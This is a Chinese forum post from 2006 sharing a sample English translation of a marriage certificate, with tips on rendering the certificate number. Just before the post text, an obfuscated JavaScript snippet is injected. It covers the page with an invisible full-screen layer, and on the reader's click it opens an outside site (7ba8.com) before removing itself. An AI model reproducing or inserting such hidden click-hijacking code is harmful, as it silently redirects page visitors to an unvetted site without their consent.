标题: 结婚公证的英文翻译样本 [打印本页] 作者: nbafifa02 时间: 2006-9-9 13:39 标题: 结婚公证的英文翻译样本 <script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>这是我在公证处让工作人员翻译的结婚公证，花了60块钱呢。给大家做个样本吧，自己翻译，省钱了。
The People’s Republic of China Marriage Certificate
The application for marriage conforms to the stipulations in the Marriage Law of the People’s Republic of China. So, registration is granted and this certificate is issued.
The Ministry of Civil Affairs of the People’s Republic of China (seal)
Special Seal for Marriage Registration of Civil Affairs Bureau of New District of Chengde City (seal)
Marriage Registrar: (signature)
Holder: 持有者姓名
Date of Registration: 登记注册的日期
Certificate No: 结婚证字号
Name: 姓名 Sex: Female
Nationality: P. R. China Date of Birth: 出生日期
ID Card No: 身份证号码
Name: 配偶姓名 Sex: Male
Nationality: P.R.China Date of Birth: 出生日期
ID Card No: 身份证号码
其中“结婚证字号”可以用汉语拼音的首字母简写，比如：冀承新结字第１０００可以翻译为Ｊ．C．Ｘ．Ｊ．Ｚｉ Ｎｏ．１０００
联系人：
联系方式：